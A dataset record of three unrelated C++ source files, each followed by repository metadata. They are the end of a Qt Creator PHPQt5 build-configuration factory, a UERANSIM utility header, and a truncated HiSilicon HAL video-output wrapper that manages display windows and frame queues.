phpqt5QMakeBuildStep->setDefaultCompilerOptions(defaultOption);
buildSteps->appendStep(phpqt5QMakeBuildStep);
}
// Add PHPQt5Uic build step
{
BuildStepList *buildSteps = result->stepList(Core::Id(ProjectExplorer::Constants::BUILDSTEPS_BUILD));
PHPQt5UicBuildStep *phpqt5UicBuildStep = new PHPQt5UicBuildStep(buildSteps);
PHPQt5UicBuildStep::DefaultBuildOptions defaultOption;
switch (info->buildType) {
case BuildConfiguration::Release:
defaultOption = PHPQt5UicBuildStep::DefaultBuildOptions::Release;
break;
case BuildConfiguration::Debug:
defaultOption = PHPQt5UicBuildStep::DefaultBuildOptions::Debug;
break;
default:
defaultOption = PHPQt5UicBuildStep::DefaultBuildOptions::Empty;
break;
}
phpqt5UicBuildStep->setDefaultCompilerOptions(defaultOption);
buildSteps->appendStep(phpqt5UicBuildStep);
}
// Add jom build step
{
BuildStepList *buildSteps = result->stepList(Core::Id(ProjectExplorer::Constants::BUILDSTEPS_BUILD));
PHPQt5JomBuildStep *phpqt5JomBuildStep = new PHPQt5JomBuildStep(buildSteps);
PHPQt5JomBuildStep::DefaultBuildOptions defaultOption;
switch (info->buildType) {
case BuildConfiguration::Release:
defaultOption = PHPQt5JomBuildStep::DefaultBuildOptions::Release;
break;
case BuildConfiguration::Debug:
defaultOption = PHPQt5JomBuildStep::DefaultBuildOptions::Debug;
break;
default:
defaultOption = PHPQt5JomBuildStep::DefaultBuildOptions::Empty;
break;
}
phpqt5JomBuildStep->setDefaultCompilerOptions(defaultOption);
buildSteps->appendStep(phpqt5JomBuildStep);
}
// Add clean step
{
BuildStepList *cleanSteps = result->stepList(Core::Id(ProjectExplorer::Constants::BUILDSTEPS_CLEAN));
cleanSteps->appendStep(new PHPQt5MakeCleanStep(cleanSteps));
}
return result;
}
bool PHPQt5BuildConfigurationFactory::canRestore(const Target *parent, const QVariantMap &map) const
{
Q_UNUSED(parent);
return PHPQt5BuildConfiguration::canRestore(map);
}
BuildConfiguration *PHPQt5BuildConfigurationFactory::restore(Target *parent, const QVariantMap &map)
{
QTC_ASSERT(canRestore(parent, map), return nullptr);
// Create the build configuration
auto result = new PHPQt5BuildConfiguration(parent);
// Restore from map
bool status = result->fromMap(map);
QTC_ASSERT(status, return nullptr);
return result;
}
bool PHPQt5BuildConfigurationFactory::canClone(const Target *parent, BuildConfiguration *product) const
{
QTC_ASSERT(parent, return false);
QTC_ASSERT(product, return false);
return product->id() == Constants::C_PHPQt5BUILDCONFIGURATION_ID;
}
BuildConfiguration *PHPQt5BuildConfigurationFactory::clone(Target *parent, BuildConfiguration *product)
{
QTC_ASSERT(parent, return nullptr);
QTC_ASSERT(product, return nullptr);
auto buildConfiguration = qobject_cast<PHPQt5BuildConfiguration *>(product);
QTC_ASSERT(buildConfiguration, return nullptr);
std::unique_ptr<PHPQt5BuildConfiguration> result(new PHPQt5BuildConfiguration(parent));
return result->fromMap(buildConfiguration->toMap()) ? result.release() : nullptr;
}
int PHPQt5BuildConfigurationFactory::priority(const Kit *k, const QString &projectPath) const
{
MimeDatabase mdb;
if (k && mdb.mimeTypeForFile(projectPath).matchesName(Constants::C_PHPQT5_PROJECT_MIMETYPE))
return 0;
return -1;
}
int PHPQt5BuildConfigurationFactory::priority(const Target *parent) const
{
return canHandle(parent) ? 0 : -1;
}
bool PHPQt5BuildConfigurationFactory::canHandle(const Target *t) const
{
if (!t->project()->supportsKit(t->kit()))
return false;
return qobject_cast<PHPQt5Project *>(t->project());
}
FileName PHPQt5BuildConfigurationFactory::defaultBuildDirectory(const Kit *k,
const QString &projectFilePath,
const QString &bc,
BuildConfiguration::BuildType buildType)
{
QFileInfo projectFileInfo(projectFilePath);
ProjectMacroExpander expander(projectFilePath, projectFileInfo.baseName(), k, bc, buildType);
QString buildDirectory = expander.expand(Core::DocumentManager::buildDirectory());
if (FileUtils::isAbsolutePath(buildDirectory))
return FileName::fromString(buildDirectory);
auto projectDir = FileName::fromString(projectFileInfo.absoluteDir().absolutePath());
auto result = projectDir.appendPath(buildDirectory);
return result;
}
BuildInfo *PHPQt5BuildConfigurationFactory::createBuildInfo(const Kit *k, const QString &projectFilePath,
BuildConfiguration::BuildType buildType) const
{
auto result = new BuildInfo(this);
result->buildType = buildType;
result->displayName = BuildConfiguration::buildTypeName(buildType);
result->buildDirectory = defaultBuildDirectory(k, projectFilePath, result->displayName, buildType);
result->kitId = k->id();
result->typeName = tr("Build");
return result;
}
} // namespace PHPQt5
| [
"wxmaper@gmail.com"
] | wxmaper@gmail.com |
645bfa9b2f98b810a4f649ab009ef75cc1305def | e228071b1e5c385ce9bdf9110df7d657be7a6586 | /src/utils/common.hpp | 25955abb8503738d12fe25f9c9e14490e2dea816 | [
"LicenseRef-scancode-proprietary-license",
"GPL-3.0-only"
] | permissive | anhtrung87vn/ue-ran-sim | cfd6138fcac498923ec602b27e3c73f53aacb371 | cca07a8cd8da5a945e105a60377143eaa78be95d | refs/heads/master | 2023-04-29T01:32:04.592375 | 2023-03-20T17:25:23 | 2023-03-20T17:25:23 | 278,814,429 | 0 | 0 | MIT | 2020-07-11T07:47:15 | 2020-07-11T07:47:14 | null | UTF-8 | C++ | false | false | 2,096 | hpp | //
// This file is a part of UERANSIM open source project.
// Copyright (c) 2021 ALİ GÜNGÖR.
//
// The software and all associated files are licensed under GPL-3.0
// and subject to the terms and conditions defined in LICENSE file.
//
#pragma once
#include "common_types.hpp"
#include "octet.hpp"
#include "octet_string.hpp"
#include "time_stamp.hpp"
#include <algorithm>
#include <iomanip>
#include <sstream>
#include <string>
#include <vector>
namespace utils
{
std::vector<uint8_t> HexStringToVector(const std::string &hex);
std::string VectorToHexString(const std::vector<uint8_t> &hex);
int GetIpVersion(const std::string &address);
OctetString IpToOctetString(const std::string &address);
std::string OctetStringToIp(const OctetString &address);
int64_t CurrentTimeMillis();
TimeStamp CurrentTimeStamp();
int NextId();
int ParseInt(const std::string &str);
int ParseInt(const char *str);
bool TryParseInt(const std::string &str, int &output);
bool TryParseInt(const char *str, int &output);
void Sleep(int ms);
bool IsRoot();
bool IsNumeric(const std::string &str);
void AssertNodeName(const std::string &str);
void Trim(std::string &str);
void Trim(std::stringstream &str);
bool IsLittleEndian();
template <typename T>
inline void ClearAndDelete(std::vector<T *> &vector)
{
for (T *item : vector)
delete item;
vector.clear();
}
template <typename T, typename P>
inline void EraseWhere(std::vector<T> &vector, P predicate)
{
vector.erase(std::remove_if(vector.begin(), vector.end(), std::forward<P>(predicate)), vector.end());
}
template <typename T>
static std::string IntToHex(T i)
{
std::stringstream stream;
if constexpr (sizeof(T) == 1)
stream << std::setfill('0') << std::setw(sizeof(T) * 2) << std::hex << static_cast<int>(i);
else
stream << std::setfill('0') << std::setw(sizeof(T) * 2) << std::hex << i;
return stream.str();
}
template <class T>
inline void HashCombine(std::size_t &seed, const T &v)
{
std::hash<T> hasher{};
seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2);
}
} // namespace utils | [
"aligng1620@gmail.com"
] | aligng1620@gmail.com |
cb81ec02d4289f3172ce34dd49d52a86fba8ea2d | cd899a08a4e3d14f84b73f4f774443e3401fb0a1 | /HiSTBLinuxV100R005C00SPC041B020/source/component/gstreamer/source/sme/source/plugins/sink/video/sink_hisi_hal/sme_wrap_hisi_hal_vo.cpp | fad93d4f959a1b39306f60d2789216004e9199f0 | [] | no_license | xd5520026/hi3798mv100 | d12ebd6cf8e086083740a8b381989256082f0839 | 12aa0504880d518a9fa15800d4f7a305a1f94dc6 | refs/heads/master | 2023-07-22T15:51:43.969863 | 2021-08-26T01:13:28 | 2021-08-26T01:13:28 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 27,910 | cpp | /**************************************************************************//**
Copyright (C), 2001-2012, Huawei Tech. Co., Ltd.
******************************************************************************
* @file sme_wrap_hisi_hal_vo.cpp
* @brief android hisi37xx vdec&vdisppipe
* @author lidanjing(l00346954)
* @date 2015/12/4
* @version VFP xxxxxxxxx
* History:
*
* Number : V1.00
* Date : 2015/12/4
* Author : lidanjing(l00346954)
* Desc : Created file
*
******************************************************************************/
//#include <pthread.h>
//#include <binder/Parcel.h>
//#include <gui/Surface.h>
//lint -e1784
//lint -e717
#include "osal_type.h"
#include "sme_macro.h"
#include "sme_log.h"
#include "osal_mem.h"
#include "sme_media_type.h"
#ifndef LINUX_OS
#include "hardware.h"
#endif
#include "sme_wrap_hisi_hal_vo.h"
#define VIRTUAL_SCREEN_WIDTH 1280
#define VIRTUAL_SCREEN_HEIGHT 720
#define DEQUEUE_TIMEOUT 3 //ms
#define HI_ERR_VO_BUFQUE_FULL (HI_S32)(0x80110052)
#ifndef SMEPLAYER_STAT_TAG_TIME
#define SMEPLAYER_STAT_TAG_TIME "PlayerTimeLineTrace"
#endif
SME_HAL_VDISP_PIPE_HDL SME_Hal_VDisp_Create()
{
ST_SME_HAL_HI_VDISP_PIPE * pstPipe;
//lint -e10
pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)malloc(sizeof(ST_SME_HAL_HI_VDISP_PIPE));
//lint +e10
if(pstPipe == NULL)
{
ICS_LOGE("malloc ST_SME_HAL_HI_VDISP_PIPE failed");
return NULL;
}
pstPipe->phVout = HI_INVALID_HANDLE;
pstPipe->phVoutWindow = HI_INVALID_HANDLE;
pstPipe->pstVoutDev = NULL;
//pstPipe->pstVoutDev = (VOUT_DEVICE_S*)malloc(sizeof(VOUT_DEVICE_S));
//if(pstPipe->pstVoutDev == NULL)
//{
// ICS_LOGE("malloc VOUT_DEVICE_S failed");
// free(pstPipe);
// return NULL;
//}
return (SME_HAL_VDISP_PIPE_HDL)pstPipe;
}
V_VOID SME_Hal_VDisp_Destory(IN SME_HAL_VDISP_PIPE_HDL hdlPipe)
{
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
if(pstPipe == NULL)
return;
//if(pstPipe->pstVoutDev != NULL)
//{
// free(pstPipe->pstVoutDev);
// pstPipe->pstVoutDev = NULL;
//}
free(pstPipe);
return;
}
V_UINT32 SME_Hal_VDisp_Init(IN SME_HAL_VDISP_PIPE_HDL hdlPipe)
{
V_UINT32 u32Ret = ICS_SUCCESS;
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
#ifndef LINUX_OS
hw_module_t const* module;
#endif
S32 s32Ret;
ICS_LOGW("%s:VDisp_Init in...", SMEPLAYER_STAT_TAG_TIME);
do
{
UTILS_MLOGW_BRK_VAL_IF(NULL == pstPipe , u32Ret, ICS_FAIL, ("invalid hdl!"));
HI_SYS_Init();
#ifndef LINUX_OS
if (hw_get_module(VOUT_HARDWARE_MODULE_ID, &module) != 0)
{
ICS_LOGE("%s module not found!\n", VOUT_HARDWARE_MODULE_ID);
return ICS_FAIL;
}
/* HAL视频输出模块初始化 */
s32Ret = vout_open(module, &pstPipe->pstVoutDev);
if(s32Ret != SUCCESS)
#else
pstPipe->pstVoutDev = getVoutDevice();
if (NULL == pstPipe->pstVoutDev)
#endif
{
HI_SYS_DeInit();
ICS_LOGE("open VoutDev failed");
return ICS_FAIL;
}
/*init video output device. ps:VOUT_INIT_PARAMS_S not used,so set NULL is ok*/
s32Ret = pstPipe->pstVoutDev->vout_init(pstPipe->pstVoutDev, NULL);
if(s32Ret != SUCCESS)
{
#ifndef LINUX_OS
vout_close(pstPipe->pstVoutDev);
#endif
HI_SYS_DeInit();
ICS_LOGE("init VoutDev failed");
return ICS_FAIL;
}
/* 打开一个视频输出实例,VOUT_OPEN_PARAMS_S not used ,so set NULL is OK */
s32Ret = pstPipe->pstVoutDev->vout_open_channel(pstPipe->pstVoutDev, &pstPipe->phVout, NULL);
if(s32Ret != SUCCESS)
{
#ifndef LINUX_OS
vout_close(pstPipe->pstVoutDev);
#endif
HI_SYS_DeInit();
ICS_LOGE("open VoutDev instance failed");
return ICS_FAIL;
}
/* 创建一个窗口 */
s32Ret = pstPipe->pstVoutDev->vout_window_create(pstPipe->pstVoutDev, pstPipe->phVout, &pstPipe->phVoutWindow, NULL);
if(s32Ret != SUCCESS)
{
pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, pstPipe->phVout, NULL);
#ifndef LINUX_OS
vout_close(pstPipe->pstVoutDev);
#endif
HI_SYS_DeInit();
ICS_LOGE("create VoutDev windows failed");
return ICS_FAIL;
}
#ifndef LINUX_OS
U32 hSrc = (U32)SME_ID_USER << 16;
s32Ret = pstPipe->pstVoutDev->vout_window_attach_input(pstPipe->pstVoutDev, pstPipe->phVoutWindow, hSrc);
#else
/* 将窗口enable */
s32Ret = pstPipe->pstVoutDev->vout_window_unmute(pstPipe->pstVoutDev, pstPipe->phVoutWindow);
#endif
if(s32Ret != SUCCESS)
{
pstPipe->pstVoutDev->vout_window_destroy(pstPipe->pstVoutDev, pstPipe->phVout, pstPipe->phVoutWindow, NULL);
pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, pstPipe->phVout, NULL);
#ifndef LINUX_OS
vout_close(pstPipe->pstVoutDev);
#endif
HI_SYS_DeInit();
ICS_LOGE("enable VoutDev windows failed");
return ICS_FAIL;
}
#ifndef LINUX_OS
s32Ret = pstPipe->pstVoutDev->vout_window_unmute(pstPipe->pstVoutDev, pstPipe->phVoutWindow);
if(s32Ret != SUCCESS)
{
ICS_LOGE("SME_Hal_VDisp_Init vout_window_unmute failed");
}
#endif
/* 与资源无关的初始化操作 */
if(ICS_SUCCESS != VOS_InitThdMutex(&pstPipe->stMutex, NULL))
{
ICS_LOGE("init pstPipe->stMutex failed, it may cause SME_Hal_VDisp_Init failed");
if(pstPipe->phVoutWindow)
{
/*disable windows*/
#ifndef LINUX_OS
U32 hSrc = (U32)SME_ID_USER << 16;
s32Ret = pstPipe->pstVoutDev->vout_window_detach_input(pstPipe->pstVoutDev, pstPipe->phVoutWindow, hSrc);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_detach_input failed");
//return ICS_FAIL;
}
#else
ICS_LOGE("disable vout_windows");
s32Ret = pstPipe->pstVoutDev->vout_window_mute(pstPipe->pstVoutDev, pstPipe->phVoutWindow);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_mute failed");
return ICS_FAIL;
}
#endif
ICS_LOGE("destory vout_windows");
/*destory windows*/
s32Ret = pstPipe->pstVoutDev->vout_window_destroy(pstPipe->pstVoutDev, 0, pstPipe->phVoutWindow, NULL);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_destroy failed,maybe not use vout_window_detach_input");
return ICS_FAIL;
}
}
#if 1 //#ifdef LINUX_OS
ICS_LOGE("close channel in");
if(pstPipe->phVout != (HANDLE)NULL)
{
/* close channel */
ICS_LOGE("real close channel in");
s32Ret = pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, pstPipe->phVout, NULL);
//s32Ret = pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, NULL, NULL);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_close_channel failed");
return ICS_FAIL;
}
}
ICS_LOGE("vout_close in");
#endif
#ifndef LINUX_OS
s32Ret = vout_close(pstPipe->pstVoutDev);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_close failed");
return ICS_FAIL;
}
#endif
HI_SYS_DeInit();
return ICS_FAIL;
}
pstPipe->u64FrameIdx = 0;
pstPipe->u64DeqFailNum = 0;
}while(FALSE);
ICS_LOGW("%s:VDisp_Init out(%d)", SMEPLAYER_STAT_TAG_TIME, u32Ret);
return u32Ret;
}
V_UINT32 SME_Hal_VDisp_DeInit(IN SME_HAL_VDISP_PIPE_HDL hdlPipe)
{
V_UINT32 u32Ret = ICS_SUCCESS;
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
S32 s32Ret;
ICS_LOGW("%s:VDisp_Init in...", SMEPLAYER_STAT_TAG_TIME);
if(pstPipe == NULL || pstPipe->pstVoutDev== NULL)
return u32Ret;
VOS_DeInitThdMutex(&pstPipe->stMutex);
ICS_LOGE("SME_Hal_VDisp_DeInit in...");
if(pstPipe->phVoutWindow)
{
/*disable windows*/
#ifndef LINUX_OS
U32 hSrc = (U32)SME_ID_USER << 16;
s32Ret = pstPipe->pstVoutDev->vout_window_detach_input(pstPipe->pstVoutDev, pstPipe->phVoutWindow, hSrc);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_detach_input failed");
//return ICS_FAIL;
}
#else
ICS_LOGE("disable vout_windows");
s32Ret = pstPipe->pstVoutDev->vout_window_mute(pstPipe->pstVoutDev, pstPipe->phVoutWindow);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_mute failed");
return ICS_FAIL;
}
#endif
ICS_LOGE("destory vout_windows");
/*destory windows*/
s32Ret = pstPipe->pstVoutDev->vout_window_destroy(pstPipe->pstVoutDev, 0, pstPipe->phVoutWindow, NULL);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_window_destroy failed,maybe not use vout_window_detach_input");
return ICS_FAIL;
}
}
#if 1 //#ifdef LINUX_OS
ICS_LOGE("close channel in");
if(pstPipe->phVout != (HANDLE)NULL)
{
/* close channel */
ICS_LOGE("real close channel in");
s32Ret = pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, pstPipe->phVout, NULL);
//s32Ret = pstPipe->pstVoutDev->vout_close_channel(pstPipe->pstVoutDev, NULL, NULL);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_close_channel failed");
return ICS_FAIL;
}
}
ICS_LOGE("vout_close in");
#endif
#ifndef LINUX_OS
s32Ret = vout_close(pstPipe->pstVoutDev);
if(s32Ret == FAILURE)
{
ICS_LOGE("vout_close failed");
return ICS_FAIL;
}
#endif
ICS_LOGE("HI_SYS_DeInit in");
HI_SYS_DeInit();
ICS_LOGE("HI_SYS_DeInit out");
ICS_LOGW("%s:VDisp_Init out(%d)", SMEPLAYER_STAT_TAG_TIME, u32Ret);
return u32Ret;
}
//lint -e58
V_UINT32 SME_Hal_VDisp_Updata_OutRect(IN SME_HAL_VDISP_PIPE_HDL hdlPipe, const HI_RECT_S * pstRect)
{
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
S32 s32Ret;
UTILS_MLOGW_RET_VAL_IF(NULL == pstPipe
|| (HANDLE)NULL == pstPipe->phVoutWindow
|| (HANDLE)NULL == pstPipe->pstVoutDev || NULL == pstRect,
ICS_FAIL, ("invalid hdl!"));
ICS_LOGW("%s:set_output_rect begin...:x=%d,y=%d, width =%d, height=%d",
SMEPLAYER_STAT_TAG_TIME, pstRect->s32X, pstRect->s32Y,
pstRect->s32Width, pstRect->s32Height);
s32Ret = pstPipe->pstVoutDev->vout_window_set_output_rect(pstPipe->pstVoutDev, pstPipe->phVoutWindow,
(V_UINT32)pstRect->s32X, (V_UINT32)pstRect->s32Y, (V_UINT32)pstRect->s32Width, (V_UINT32)pstRect->s32Height);
ICS_LOGW("%s:set_output_rect, end(%x)", SMEPLAYER_STAT_TAG_TIME, s32Ret);
if(SUCCESS == s32Ret)
{
ICS_LOGW("set vout_window_set_output_rect:[%d %d %d %d] succeed",pstRect->s32X, pstRect->s32Y,
pstRect->s32Width, pstRect->s32Height);
return ICS_SUCCESS;
}
else
{
ICS_LOGW("set vout_window_set_output_rect:[%d %d %d %d] failed,err:%d",pstRect->s32X, pstRect->s32Y,
pstRect->s32Width, pstRect->s32Height,s32Ret);
return ICS_FAIL;
}
}
//lint +e58
static V_VOID SME_SetVoutFrameInfoDefaultValue(const ST_SME_HAL_HI_VDISP_PIPE* pstHalPipe,
VOUT_FRAME_INFO_S* pstFrame, V_UINT32 u32W, V_UINT32 u32H,
V_UINT32 u32PhyAddr, V_UINT32 u32Duration)
{
V_UINT32 u32StrW = (u32W + 0xF) & 0xFFFFFFF0UL;
E_SME_MEM_SECURE_RET eMemSecRet;
eMemSecRet = VOS_Memset_S(pstFrame, sizeof(VOUT_FRAME_INFO_S), 0, sizeof(VOUT_FRAME_INFO_S));
if(eMemSecRet != E_SME_MEM_OK){
ICS_LOGE("init pstFrame failed,ret:%d", eMemSecRet);
return;
}
pstFrame->u32FrameIndex = (U32)pstHalPipe->u64FrameIdx;
pstFrame->stVideoFrameAddr[0].u32YAddr = u32PhyAddr;
pstFrame->stVideoFrameAddr[0].u32CAddr = u32PhyAddr + u32StrW * u32H;
//pstFrame->stVideoFrameAddr[0].u32CrAddr = u32PhyAddr + u32StrW * u32H;
pstFrame->stVideoFrameAddr[0].u32YStride = u32StrW;
pstFrame->stVideoFrameAddr[0].u32CStride = u32StrW;
pstFrame->stVideoFrameAddr[0].u32CrStride = u32StrW;
pstFrame->u32Width = u32W;
pstFrame->u32Height = u32H;
#ifndef LINUX_OS
pstFrame->u32SrcPts = (U32) - 1;
pstFrame->u32Pts = (U32) - 1;
#else
pstFrame->s64SrcPts = - 1;
pstFrame->s64Pts = - 1;
#endif
pstFrame->u32AspectWidth = 0;
pstFrame->u32AspectHeight = 0;
if(u32Duration != 0)
{
pstFrame->stFrameRate.u32fpsInteger = M_SME_SEC_TO_MS / u32Duration;
pstFrame->stFrameRate.u32fpsDecimal
= (M_SME_SEC_TO_MS * M_SME_MS_TO_US ) / u32Duration
- pstFrame->stFrameRate.u32fpsInteger * M_SME_MS_TO_US;
}
else
{
pstFrame->stFrameRate.u32fpsInteger = 30;
pstFrame->stFrameRate.u32fpsDecimal = 0;
ICS_LOGW("use default fps:30.0");
}
//ICS_LOGW("use1 fps:%u:%u",
// pstFrame->stFrameRate.u32fpsInteger, pstFrame->stFrameRate.u32fpsDecimal);
//pstFrame->stFrameRate.u32fpsInteger = 50;
//pstFrame->stFrameRate.u32fpsDecimal = 0;
//ICS_LOGW("use fps2:%u:%u",
// pstFrame->stFrameRate.u32fpsInteger, pstFrame->stFrameRate.u32fpsDecimal);
//pstFrame->enVideoFormat = VOUT_FORMAT_YUV_SEMIPLANAR_420;
pstFrame->enVideoFormat = VOUT_FORMAT_YUV_SEMIPLANAR_420_UV;
pstFrame->bProgressive = FALSE;//HI_TRUE;
pstFrame->enFieldMode = VOUT_VIDEO_FIELD_TOP;//HI_UNF_VIDEO_FIELD_BUTT;
pstFrame->bTopFieldFirst = FALSE;//HI_TRUE;
pstFrame->enFramePackingType = VOUT_FRAME_PACKING_TYPE_NONE;
pstFrame->u32Circumrotate = 0;
pstFrame->bVerticalMirror = FALSE;
pstFrame->bHorizontalMirror = FALSE;
pstFrame->u32DisplayCenterX = (U32)(u32W >> 1);
pstFrame->u32DisplayCenterY = (U32)(u32H >> 1);
pstFrame->u32DisplayWidth = (U32)u32W;
pstFrame->u32DisplayHeight = (U32)u32H;
pstFrame->u32ErrorLevel = 0;
/* 当前非安全帧 */
pstFrame->bSecurityFrame = FALSE;
//pstFrame->u32Private[0] = 0xf3f3f3f3;
return;
}
E_SME_HIVO_ERR SME_Hal_VDisp_QueueFrame(IN SME_HAL_VDISP_PIPE_HDL hdlPipe,
IN const ST_SME_VIDEO_FRAME* pstVideoFrame)
{
E_SME_HIVO_ERR eRet = E_SME_HIVO_ERR_NONE;
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
V_UINT32 u32PhyAddr = 0;
S32 s32Err;
HI_S32 i32GetPhyErr;
V_UINT32 u32Len = 0;
VOUT_FRAME_INFO_S stVoutFrame;
UTILS_MLOGE_RET_VAL_IF(NULL == pstPipe || NULL == pstVideoFrame
|| NULL == pstVideoFrame->pvAddr[0], E_SME_HIVO_ERR_INVALID_ARGS,
("SME_HiVO_QueueFrame:invalid args!"));
i32GetPhyErr = HI_MMZ_GetPhyaddr(pstVideoFrame->pvAddr[0], &u32PhyAddr, &u32Len);
UTILS_MLOGE_RET_VAL_IF(HI_SUCCESS != i32GetPhyErr, E_SME_HIVO_ERR_FATAL,
("HI_MMZ_GetPhyaddr:pvAddr=%p, u32Len=%u", pstVideoFrame->pvAddr[0], u32Len));
pstPipe->u64FrameIdx++;
SME_SetVoutFrameInfoDefaultValue(pstPipe, &stVoutFrame, pstVideoFrame->u32Width,
pstVideoFrame->u32Height, u32PhyAddr, pstVideoFrame->u32Duration);
s32Err = pstPipe->pstVoutDev->vout_window_queue_frame(pstPipe->pstVoutDev, pstPipe->phVoutWindow, &stVoutFrame);
if (SUCCESS == s32Err)
{
eRet = E_SME_HIVO_ERR_NONE;
}
else if(HI_ERR_VO_BUFQUE_FULL == s32Err)
{
ICS_LOGE("buf que full");
eRet = E_SME_HIVO_ERR_BUF_FULL;
}
else
{
ICS_LOGE("hal queue failed");
eRet = E_SME_HIVO_ERR_FATAL;
}
return eRet;
}
E_SME_HIVO_ERR SME_Hal_VDisp_DeQueueFrame(IN SME_HAL_VDISP_PIPE_HDL hdlPipe,
OUT ST_SME_VIDEO_FRAME* pstVideoFrame)
{
E_SME_HIVO_ERR eRet = E_SME_HIVO_ERR_NONE;
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
S32 s32Err;
VOUT_FRAME_INFO_S stVoutFrame;
E_SME_MEM_SECURE_RET eMemSecRet;
UTILS_MLOGE_RET_VAL_IF(NULL == pstPipe || NULL == pstVideoFrame,
E_SME_HIVO_ERR_INVALID_ARGS, ("SME_HiVO_DeQueueFrame:invalid args!"));
eMemSecRet = VOS_Memset_S(&stVoutFrame, sizeof(VOUT_FRAME_INFO_S), 0, sizeof(VOUT_FRAME_INFO_S));
if(eMemSecRet != E_SME_MEM_OK){
ICS_LOGE("init stVoutFrame failed,ret:%d", eMemSecRet);
return E_SME_HIVO_ERR_FATAL;
}
s32Err = pstPipe->pstVoutDev->vout_window_dequeue_frame(pstPipe->pstVoutDev, pstPipe->phVoutWindow, &stVoutFrame, DEQUEUE_TIMEOUT);
if (SUCCESS == s32Err)
{
pstVideoFrame->pvAddr[1] = (V_VOID*)stVoutFrame.stVideoFrameAddr[0].u32YAddr;
eRet = E_SME_HIVO_ERR_NONE;
}
else
{
pstPipe->u64DeqFailNum++;
eRet = E_SME_HIVO_ERR_FATAL;
if((pstPipe->u64DeqFailNum - 1)%100 == 0)
{
ICS_LOGD("SME_Hal_VDisp_DeQueueFrame failed, faile number is %lld", pstPipe->u64DeqFailNum);
}
}
return eRet;
}
E_SME_HIVO_ERR SME_Hal_VDisp_GetRenderDelay(IN SME_HAL_VDISP_PIPE_HDL hldPipe, OUT V_UINT64 *delay )
{
E_SME_HIVO_ERR eRet = E_SME_HIVO_ERR_NONE;
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hldPipe;
V_INT32 s32Err;
V_UINT32 u32DelayTime = 0;
V_UINT32 u32DispRate = 0;
V_UINT32 u32FrameNumInBufQn = 0;
UTILS_MLOGE_RET_VAL_IF( NULL == pstPipe || NULL == delay,
E_SME_HIVO_ERR_INVALID_ARGS, ("SME_Hal_VDisp_GetRenderDelay: invalid args!"));
#ifdef DEBUG
ICS_LOGE("@cat_clock@video@vsink@vo@in: SME_Hal_VDisp_GetRenderLatency");
#endif
s32Err = pstPipe->pstVoutDev->vout_window_get_playinfo(
pstPipe->pstVoutDev,
pstPipe->phVoutWindow,
&u32DelayTime,
&u32DispRate,
&u32FrameNumInBufQn );
if ( SUCCESS == s32Err )
{
*delay = u32DelayTime * 1000000ULL;
eRet = E_SME_HIVO_ERR_NONE;
}
else
{
eRet = E_SME_HIVO_ERR_FATAL;
ICS_LOGW("SME_Hal_VDisp_DeQueueFrame failed");
}
ICS_LOGD("@-cat_clock@video@vsink@vo@ playinfo : u32DelayTime:%d,"
"u32DispRate:%u,u32FrameNumInBufQn:%u",
u32DelayTime, u32DispRate, u32FrameNumInBufQn);
return eRet;
}
//lint -e58
V_UINT32 SME_Hal_VDisp_Reset(IN SME_HAL_VDISP_PIPE_HDL hdlPipe, IN E_SME_HIVO_SWITCH_TYPE eSwitchMode)
{
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
S32 sRet;
VOUT_WINDOW_SWITCH_MODE_E eVoutSwitchMode;
if(NULL == pstPipe || (HANDLE)NULL == pstPipe->pstVoutDev
|| (HANDLE)NULL == pstPipe->phVoutWindow
|| (eSwitchMode != E_SME_HIVO_SWITCH_TYPE_LAST
&& eSwitchMode != E_SME_HIVO_SWITCH_TYPE_BLACK))
{
ICS_LOGE("input para is error");
return ICS_FAIL;
}
eVoutSwitchMode = (eSwitchMode == E_SME_HIVO_SWITCH_TYPE_LAST) ? VOUT_WINDOW_SWITCH_MODE_FREEZE : VOUT_WINDOW_SWITCH_MODE_BLACK;
sRet = pstPipe->pstVoutDev->vout_window_reset(pstPipe->pstVoutDev, pstPipe->phVoutWindow, eVoutSwitchMode);
if(sRet == SUCCESS)
{
ICS_LOGE("reset switch mode : %u succeed", eVoutSwitchMode);
return ICS_SUCCESS;
}
else
{
ICS_LOGE("reset switch mode : %u failed", eVoutSwitchMode);
return ICS_FAIL;
}
}
//lint +e58
V_VOID SME_Disp_Full(IN const ST_OUT_RECT * pstDispRect, OUT ST_OUT_RECT * pstOutRect)
{
printf("full IN pstDispRect(%u,%u,%u,%u)\n", pstDispRect->u32OutX, pstDispRect->u32OutY, pstDispRect->u32OutWidth, pstDispRect->u32OutHeight);
pstOutRect->u32OutWidth = (V_UINT32)(pstDispRect->u32OutWidth &~ 15);
pstOutRect->u32OutHeight = (V_UINT32)(pstDispRect->u32OutHeight &~ 15);
